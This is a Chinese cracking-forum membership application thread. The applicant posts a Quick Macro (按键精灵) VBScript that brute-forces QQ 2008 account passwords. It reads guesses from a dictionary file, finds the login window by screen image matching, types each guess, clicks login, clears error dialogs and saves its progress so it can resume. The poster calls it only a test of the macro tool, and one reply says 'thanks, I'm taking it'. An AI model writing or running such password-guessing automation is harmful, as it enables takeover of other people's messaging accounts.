申请会员：xtdhwl[申请通过]

ID:xtdhwl
邮箱:xtdhwl@163.com
特长：编程,破解分析

Dim path 'QQ密码字典.txt
Dim PathShu  'QQ密码扫描.ini
Dim QQ
Dim MiMa 'QQ密码
Dim MMlen'QQ密码的长度
Dim mima1'单个密码输入
Dim MimaLine '一行QQ密码
Dim MimaZidian 'QQ密码字典
Dim MiMaShu '下次开始数
Dim quxiaodenglu '取消登陆
'rem b 为开始  rem a 找错误框  rem c 取消长期登陆失败
path="c:\qq密码字典.txt"
pathshu="c:\QQ密码扫描.ini"
'判断文件c:\QQ密码扫描.ini
IsFile = Plugin.File.IsFileExit("C:\qq密码扫描.ini")   
If IsFile=true Then   
   mimashu = Plugin.File.ReadINI("QQ密码位置", "位置", "C:\qq密码扫描.ini")  
Else    
   Call Plugin.File.WriteINI("QQ密码位置", "位置", 1, pathshu)
   mimashu = Plugin.File.ReadINI("QQ密码位置", "位置", "C:\qq密码扫描.ini") 
End If 
'判断是否存在c:\QQ密码字典.txt
IsFile = Plugin.File.IsFileExit("C:\qq密码字典.txt")   
If IsFile=true Then
   mimazidian=plugin.file.openfile(path)   
 else
     Msgbox "c:\QQ密码字典.txt目标文件不存在"  
     call OnScriptExit
End If

For i=1 to mimashu-1 '读取密码位置
mima=plugin.file.readline(mimazidian)
next
 
'开始B标记
rem b:
Delay 500
mima=plugin.file.readline(mimazidian)
FindPic 0,0,1024,768,"Attachment:\qq.bmp",0.9,intX,intY '查找QQTM位置
If intX > 0 And intY > 0 Then '得到QQTM位置
   MoveTo intx+30,inty+10 '把光标移到密码位置
   Delay 500 '演示
   LeftClick 1 '左击一下 光标选中QQ密码框
else
  Goto b
End If
Delay 500
'判断密码是否为空
If mima<>"" then
For i=1 to len(mima)'输入密码
  mima1=mid(mima,i,1)
  KeyPress mima1,1
Next
Else 
  call OnScriptExit
End if

'Delay 500
’鼠标点击登陆
'FindPic 0,0,1024,768,"Attachment:\登录.bmp",0.8,dengX,dengY'找到登陆按键
If intX > 0 And intY > 0 Then
 MoveTo intx+210,inty+80
 Delay 500
 LeftClick 1
 Call Plugin.File.WriteINI("QQ密码位置", "位置", mimashu, pathshu)
'MsgBox dengx & dengy
End If

’对长时间登陆的判断 标记C
quxiaodenglu=1
Rem c:
Delay 500
FindPic 0,0,1024,768,"Attachment:\取消登陆.bmp",0.8,quxiao1X,quxiao1Y'找到登陆按键
If quxiao1X > 0 And quxiao1Y > 0 Then
  If quxiaodenglu>20 then
     quxiaodenglu=1
     MoveTo quxiao1X,quxiao1Y
     Delay  500
     LeftClick 1
     goto b 
   End if
quxiaodenglu=quxiaodenglu+1
Call c
End If

'找错误按钮标记A
rem a:
FindPic 0,0,1024,768,"Attachment:\错误.bmp",0.9,cuowuX,cuowuY
If cuowuX > 0 And cuowuY > 0 Then
    MoveTo cuowuX+340,cuowuY+210
    Delay 500
    LeftClick 1
    Delay 500
    mimashu=mimashu+1
Else
  FindPic 0,0,1024,768,"Attachment:\错误1.bmp",0.9,cuowu1X,cuowu1Y
  if cuowu1X > 0 And cuowu1Y > 0 Then
     MoveTo cuowuX+300,cuowuY+165
     Delay 500
     LeftClick 1
     Delay 500
     mimashu=mimashu+1
     Goto b
   End if
Delay 500
Goto a
End If

'FindPic 0,0,1024,768,"Attachment:\取消.bmp",0.9,quxiaoX,quxiaoY
'If quxiaoX > 0 And quxiaoY > 0 Then
'MoveTo quxiaox+340,quxiaoy+210
'Delay 500
'LeftClick 1
'Delay 500
'Else
'Delay 500
'Goto a
'End If



goto b




Sub OnScriptExit()   
    ’Call Plugin.File.WriteINI("QQ密码位置", "位置", mimashu, pathshu) 
    Call Plugin.File.closefile(mimazidian)
    
    MessageBox "脚本已经停止！"   
    RestoreMousePos    
End Sub

上面是用 按键精灵8.0写的一个QQ2008暴力破解  刚写的知道没有多少用 只是测试按键精灵的功能

喜欢编程VB 脚本 破解
共享精神使网络更加强大

Hmily

ID:xtdhwl
邮箱:xtdhwl@163.com

申请通过,欢迎光临吾爱破解论坛,期待吾爱破解有你更加精彩,ID和密码自己通过邮件密码找回功能修改,请即时登陆并修改密码!
登陆后请在一周内在此帖报道，否则将删除ID信息

前来报到,进过几年的学习,虽然差距很大,但只要努力每天学习一点

xtdhwl

前来报到,进过几年的学习,虽然差距很大,但只要努力每天学习一点

Skyfly

谢谢了 我拿走了

ksqb163

恭喜恭喜你过了申请